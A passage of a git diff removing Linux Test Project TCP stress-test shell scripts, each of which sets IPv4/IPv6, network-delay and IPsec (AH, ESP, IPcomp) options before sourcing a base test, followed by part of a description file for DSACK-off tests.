either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-basic13 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - Network is delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp4-uni-basic13 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic14 b/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic14 deleted file mode 100644 index 230d9be3..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic14 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-basic14 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - Network is delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp4-uni-basic14 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic01 b/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic01 deleted file mode 100644 index 9141a531..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic01 +++ /dev/null @@ -1,61 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-basic01 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - The version of IP is IPv6 -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp6-uni-basic01 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic02 b/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic02 deleted file mode 100644 index ad8e76d8..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic02 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-basic02 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - The version of IP is IPv6 -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp6-uni-basic02 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic03 b/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic03 deleted file mode 100644 index c977c935..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic03 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-basic03 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - The version of IP is IPv6 -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp6-uni-basic03 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic04 b/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic04 deleted file mode 100644 index 65f8e48a..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic04 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-basic04 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - The version of IP is IPv6 -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp6-uni-basic04 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic05 b/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic05 deleted file mode 100644 index 79b6c80e..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic05 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-basic05 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - The version of IP is IPv6 -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp6-uni-basic05 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic06 b/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic06 deleted file mode 100644 index 92c9fdc2..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic06 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-basic06 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - The version of IP is IPv6 -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp6-uni-basic06 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic07 b/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic07 deleted file mode 100644 index 235a7d47..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic07 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-basic07 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - The version of IP is IPv6 -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp6-uni-basic07 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic08 b/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic08 deleted file mode 100644 index 466cc953..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic08 +++ /dev/null @@ -1,62 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-basic08 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - The version of IP is IPv6 -# - Network is delayed -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp6-uni-basic08 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic09 b/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic09 deleted file mode 100644 index 43658fe7..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic09 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-basic09 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp6-uni-basic09 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic10 b/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic10 deleted file mode 100644 index 731b5cc8..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic10 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-basic10 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp6-uni-basic10 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic11 b/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic11 deleted file mode 100644 index b8807b23..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic11 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-basic11 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp6-uni-basic11 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic12 b/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic12 deleted file mode 100644 index f3b708b8..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic12 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-basic12 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp6-uni-basic12 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic13 b/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic13 deleted file mode 100644 index d7c4e432..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic13 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-basic13 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - The version of IP is IPv6 -# - Network is delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp6-uni-basic13 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic14 b/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic14 deleted file mode 100644 index d8750ba0..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic14 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-basic14 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - The version of IP is IPv6 -# - Network is delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp6-uni-basic14 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/00_Descriptions.txt b/ltp/testcases/network/stress/tcp/uni-dsackoff/00_Descriptions.txt deleted file mode 100644 index 3f9da460..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/00_Descriptions.txt +++ /dev/null @@ -1,126 +0,0 @@ -Verify that the kernel, when the Duplicate SACK support is off, is not -crashed by a TCP connection on an unreliable network(Namely, some of the -packet is lost, some of them is duplicated). - -tcp4-uni-dsackoff01 - IPv4 - -tcp4-uni-dsackoff02 - IPv4 - IPsec [ AH / transport ] - -tcp4-uni-dsackoff03 - IPv4 - IPsec [ AH / tunnel ] - -tcp4-uni-dsackoff04 - IPv4 - IPsec [ ESP / transport ] - -tcp4-uni-dsackoff05 - IPv4 - IPsec [ ESP / tunnel ] - -tcp4-uni-dsackoff06 - IPv4 - IPcomp [ transport ] - -tcp4-uni-dsackoff07 - IPv4 - IPcomp [ tunnel ] - -tcp4-uni-dsackoff08 - IPv4 - Network is delayed - -tcp4-uni-dsackoff09 - IPv4 - IPsec [ AH / transport ] - Network is delayed - -tcp4-uni-dsackoff10 - IPv4 - IPsec [ AH / tunnel ] - Network is delayed - -tcp4-uni-dsackoff11 - IPv4 - IPsec [ ESP / transport ] - Network is delayed - -tcp4-uni-dsackoff12 - IPv4 - IPsec [ ESP / tunnel ] - Network is 